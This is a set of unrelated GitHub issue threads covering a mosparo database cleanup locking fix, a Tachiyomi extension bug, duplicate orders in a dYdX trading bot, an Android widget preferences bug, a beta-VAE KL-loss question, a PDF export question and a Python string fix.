$submissionIds = $query->getResult();

$batchSize = 50;
for ($i = 0; $i < count($submissionIds); $i += $batchSize) {
    $batchIds = array_slice($submissionIds, $i, $batchSize);

    $deleteQuery = $this->entityManager->createQuery('
        DELETE Mosparo\Entity\Submission s
        WHERE s.id IN (:ids)
    ');
    $deleteQuery->setParameter('ids', $batchIds);
    $deleteQuery->execute();
}
unset($query);

What do you think about the problem and my solution?
Do you have a better suggestion?
My setup:
Version: v1.2.5
PHP: 8.3
SQL: 10.6-MariaDB
We had a promotion in the last few days which resulted in significantly more entries in the tables than before.
I estimated that this caused the query to take noticeably longer.
The table “submit_token” has approx. 41000 entries and the table “submission” has 38000 entries.
Kind regards,
Digi92

Hi @Digi92
Thank you very much for your detailed report and the fix for this problem.
We switched to the subquery method last year when optimizing the cleanup logic. The optimization back then was to prevent issues with running out of memory (#148). With this subquery, we do not have to care about the memory issue—at least not in PHP. The query that generated the problem for you was added later, but we used the same style as for the other two delete queries.
Of course, using a subquery will lock the table and, therefore, generate completely different problems — as you noticed.
Your solution is almost perfect! However, it introduces another potential memory issue since we do not know how large $submissionIds will be, and it could require too much memory.
Because of that, I've adjusted your solution to this one:
// The limiter prevents possible endless loops.
for ($limiter = 0; $limiter < 1000; $limiter++) {
    $query = $this->entityManager->createQuery('
            SELECT s.id
            FROM Mosparo\Entity\Submission s
            WHERE NOT EXISTS (
                SELECT 1 FROM Mosparo\Entity\SubmitToken st
                WHERE st.id = s.submitToken OR st.lastSubmission = s.id
            )
        ')
        ->setMaxResults(50);
    $submissionIds = $query->getResult();
    if (!$submissionIds) {
        break;
    }

    $deleteQuery = $this->entityManager->createQuery('
            DELETE Mosparo\Entity\Submission s
            WHERE s.id IN (:ids)
        ')
        ->setParameter('ids', $submissionIds);
    $deleteQuery->execute();
    unset($deleteQuery);
}

unset($query);
unset($submissionIds);

Since we're limiting the first SELECT, we have a maximum of 50 IDs in the array, so there should be no memory issue. Also, the locking is not a problem because we only try to delete these 50 submission IDs that we received from the SELECT (as in your solution).
The condition in the for is only there so as not to run in an endless loop. Of course, it would not be an infinite loop, but it would run very long in the worst case if there were a lot of such 'broken' submissions.
What do you think about this approach?
Kind regards,
zepich

Hi @zepich,
it looks good to me.
Additionally, now that I think about it, maybe we should also add notice logging that this cleanup command was started and finished.
When debugging, it took me a bit to realize that the cleanup was causing this problem.
Kind regards,
Digi92

Hi @Digi92
We've just released v1.2.7, which contains the fix for the cleanup process.
I'm closing this issue now. Thank you again for your help, and have a great day!
Kind regards,
zepich


[BUG] Hanime extension : episodes are seen as whole series

I opened an issue here since its related to an extension not officially supported by tachiyomi
Device information

Tachiyomi version: all versions
Android version: 11

Source information

Name: Hanime
Extension version: 11.6

Steps to reproduce

just open it

Expected behavior
Describe what should have happened
series should be shown individually and all episodes should be in a series, its ok if it is divided by different seasons
Actual behavior
Describe what happens instead
all episodes are shown as individual series and when we go in episode list, it just shows as single episodes
Other information
here are a few screenshots (censored)

Yes and it makes the single episode a whole anime and then values in tracker overlaps.

not a bug, that's just how the website works


Error: Order is not found/filled | Order is actually Filled | Repeat Multiple Orders | After dYdX Chain outage and subsequent Upgrade

Hello, I experienced a major bug yesterday after a trade was triggered post dYdX Chain outage and subsequent dYdX Chain 4.0.2 (or 4.0.4) upgrade yesterday. https://status.dydx.trade/
I had multiple Error: Order is not found/filled. Retry again, count: counting all the way up to maximum in terminal.
The problem is all those orders were filled, and placed multiple times! This resulted in being extremely over leveraged from what TV signal size was. Thankfully I noticed it only a couple hours post trade. I checked the dYdX Trade History and confirmed all the same orders that supposedly Errored were actually placed successfully, but multiple times!
I think the logic used to check for a Filled trade has been broken since the Chain upgrade.
I've since modified dydx_v4 createOrder.ts line 34 maxTries to 1 and line 56 await _sleep to 60000.  This way only one attempt will be made.
After making the code changes above, I've since restarted with Ctrl-C, and yarn start in terminal, so we wait and see.
I will check back after another signal to see if it shows it a successful dYdX v4 Order ID:  xxxxxxxx-... in terminal, like it used to.
Let me know if you or anyone else has experienced this, and check your positions after any recent trades post the dYdX Chain outage.

thank you for raising issue
Although I have not experienced this issue since yesterday, but I've modified await _sleep() to 60000 and pushed a new version of code, but keep maxTries 3.
Because I've seen that sometimes the order is not executed if we don't retry again.
I'll monitor if this is more stable configuration

That restart must have helped, or maybe the validators needed some time to get up to speed/sync again, not sure. I still don't know what in the code would have failed and allowed or triggered all the duplicate orders that happened before, my suspicion is it was a validator failure outside the control of the code to check.
Here's my most recent results:
I tested all 3 validators after my code change for a test, all three triggered at the same time from the same signal (3 different ports and wallets tested)
restEndpoint: https://dydx-ops-rpc.kingnodes.com Error: Order is not found/filled. Retry again, count: 0 and then it worked after second attempt, 60s later, no duplicate orders made.
restEndpoint: https://dydx-rest.publicnode.com Failed no order placed at all, no transaction result in terminal
restEndpoint: https://dydx-mainnet-full-rpc.public.blastapi.io Success after first attempt.
I'm going to test with maxTries 2 and await _sleep 30000 since with 60 seconds it's just seemingly ignored, I don't think it has to do with waiting to get filled, it's like it was never sent at all.
The second attempt, after the 60s sleep, filled around 7 and 13 seconds, but usually it's closer to 4 seconds on average for the fill to take place.
I've also put all the validators back to https://dydx-mainnet-full-rpc.public.blastapi.io because I was having good results with that original one before this recent glitch. (I have no idea if https://dydx-ops-rpc.kingnodes.com is better, but it experienced one retry above. Let me know if you want me to compare both more side by side, or what your results are with both)
I'm going to wait for one more signal and follow up with results, to confirm it's no longer placing multiple trades.
That was a crazy glitch, I had maxTries set to at 8 or 9 before, so that's how many repeat trades it duplicated before, yikes!

nice! thank you for the detailed report
I'll try with https://dydx-mainnet-full-rpc.public.blastapi.io again


Widgets stop functioning after changing book

Steps to reproduce the behaviour

Create two books.
With Book 1 active, create a widget looking at any account in Book 1
Open Book 2 (making it active), then restart your device
Observe that the widget created in step 2 no longer displays the selected account

Expected behaviour
The widget continues to display the account it was created with.
Actual behaviour
The widget displays "Account name" and one button which does nothing (there are two buttons if this is done on the develop branch). Clicking on the widget also does nothing.
If you re-open Book 1 and restart your device the widget will return to displaying the correct account.
My Thoughts
I've taken a look at the code, and the configuration saving/restoring needs to be rewritten. It's currently stored in the SharedPreferences for the account's book, but then if/when the widget is updated it tries to read the active book's SharedPreferences. We can solve this by either

having one big "widget" SharedPreferences object, and storing the book as another option for each widget, or
we can have a separate SharedPreferences object for each widget

I have a slight preference for the second option, but the first is more similar to the current implementation.

Unless I'm missing some easy way to get the book associated to a widget, I agree with using the second option. Although I'd rather like to have a widget's preferences stored along with its book, it seems it would unnecessarily complicate the code.
@codinguser What do you think?

@rivaldi8 I'm fine with the second option. The implementation in #608 also looks cleaner than before.
Thanks @czan .

@rivaldi8 how about we just move this to v2.2.0?
The patch depends on changes already made for hiding balances, etc.

@codinguser Ok, moved to 2.2.0.


How to prevent from KL loss collapse

Hello!  I found your kl divergence curve is flat after about 100k iterations.  When I train other VAE tasks, I found that the kl divergence is easier to converge than reconstruction loss. The training loss usually suffer from kl divergence collapse. Kl converges to a number close to zero. So I want to know how to keep KL divergence curve flat with beta>1?

Hi.
you can manually make KL-divergence fixed to specific values by penalizing it if it diverges from expected values. In my case, for example, I followed the second term of the equation (8) in the paper, "Understanding disentangling in $\beta$-VAE". you can also find corresponding code here:
https://github.com/1Konny/Beta-VAE/blob/master/solver.py#L168


export to pdf wrong 【Help】

i try to run npm i -D playwright-chromium and npm run export to export to a PDF file, but it show like the photo blow, and i want to know how to fix it?

Maybe read this https://playwright.dev/docs/installation?


fix total videos found string

%d added.  String doesn't print properly without it. (tested with Python 2.7)

Coverage remained the same at 85.516% when pulling 0a23eac8e73259bdf24e606498cb81463c60fa5d on fja05680:fix-total-videos-found-string into fda25d0b2b7eceb5c238263ca914ed1059c7a400 on nficano:master.